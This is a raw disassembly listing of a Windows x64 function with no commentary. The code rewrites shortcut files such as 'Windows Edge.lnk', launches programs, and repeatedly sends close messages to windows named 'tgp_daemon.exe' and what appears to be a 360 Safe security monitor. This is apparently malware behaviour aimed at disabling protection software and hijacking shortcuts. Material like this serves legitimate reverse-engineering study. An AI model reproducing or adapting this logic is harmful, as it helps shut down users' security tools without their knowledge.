mov r8, r15
lea rdx, str._sWindows_Edge.lnk
lea rcx, [rbp + 0x1640]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x890]
lea rdx, str.__s_
lea rcx, [rbp + 0x1530]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1530]
lea rdx, [rbp + 0x890]
lea rcx, [rbp + 0x1640]
call fcn.140003310
call fcn.140003180
mov r9, rax
mov r8, r15
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x670]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xbc0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1750]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1750]
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x670]
call fcn.140003310
call fcn.140003180
mov r9, rax
mov r8, r15
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0xfe0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xab0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1860]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1860]
lea rdx, [rbp + 0xab0]
lea rcx, [rbp + 0xfe0]
call fcn.140003310
call fcn.140002a90
test eax, eax
je 0x140004a8b
call fcn.140003270
test al, al
je 0x1400049f6
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0xed0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, r12d
nop word [rax + rax]
lea rdx, str.tgp_daemon.exe__
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
test rax, rax
je 0x1400048ba
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x1400048a0
inc esi
cmp esi, 3
jl 0x140004870
mov dword [rbp + 0xdd0], 0x363351
xor edx, edx
mov r8d, 0xfb
lea rcx, [rbp + 0xdd4]
call fcn.1400185f0
movsd xmm0, qword [str.0SafeMonClass]
movsd qword [rbp + 0xcd0], xmm0
mov eax, dword [0x14004bfa8]
mov dword [rbp + 0xcd8], eax
movzx eax, word [0x14004bfac]
mov word [rbp + 0xcdc], ax
xor edx, edx
mov r8d, 0xf1
lea rcx, [rbp + 0xcde]
call fcn.1400185f0
lea r8, [rbp + 0xcd0]
mov edx, 0xff
lea rcx, [rbp + 0xdd0]
call fcn.140021128
nop dword [rax]
nop word [rax + rax]
xor r9d, r9d
lea r8, [rbp + 0xdd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rbx, rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 1
jl 0x140004940
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageA]
lea rdx, [0x14004bfb0]
lea rcx, [0x140055840]
call fcn.140009380
lea rdx, [0x14004bfb0]
lea rcx, [0x140055840]
call fcn.140009380
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x670]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140004b01
lea rcx, [rbp + 0xed0]
call fcn.140012290
mov esi, r12d
nop word [rax + rax]
lea rdx, str.tgp_daemon.exe__
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov rbx, rax
test rax, rax
je 0x140004a5a
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x140004a40
inc esi
cmp esi, 3
jl 0x140004a10
lea rcx, [rbp + 0x3e0]
call fcn.140002dd0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xfe0]
call fcn.140002dd0
lea rcx, [rbp + 0xab0]
jmp 0x140004afc
call fcn.140003270
test al, al
je 0x140004ac7
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400049ce
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0xbc0]
call fcn.140012290
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x3e0]
call fcn.14001d278
lea rcx, [rbp + 0x670]
call fcn.14001d278
lea rcx, [rbp + 0x780]
call fcn.14001d278
lea rcx, [rbp + 0x9a0]
call fcn.14001d278
nop
test rdi, rdi
je 0x140004b96
mov rcx, qword [rbp + 0x130]
sub rcx, rdi
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x140004b8d
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f1c
mov rcx, rdi
call fcn.140015e98
nop
lea rcx, [rbp + 0x1a0]
call fcn.140008a80
mov rcx, qword [rbp + 0x1c0]
test rcx, rcx
je 0x140004bc8
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140004bc8
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140004c03
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f22
call fcn.140015e98
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x140004c4e
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f28
call fcn.140015e98
nop
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140004c94
mov rdx, qword [rbp + 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f2e
call fcn.140015e98
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2cc], edx
lea rcx, [rbp + 0x2e0]
call fcn.140007fe0
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x380]
call fcn.140014cc0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140004d57
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f34
call fcn.140015e98
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140004da2
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f3a
call fcn.140015e98
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x140004df4
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f40
call fcn.140015e98
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x140004e35
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f46
call fcn.140015e98
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x140004e8b
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004eb6
call fcn.140015e98
lea r11, [rsp + 0x1a90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
nop
call fcn.140021c3c
int3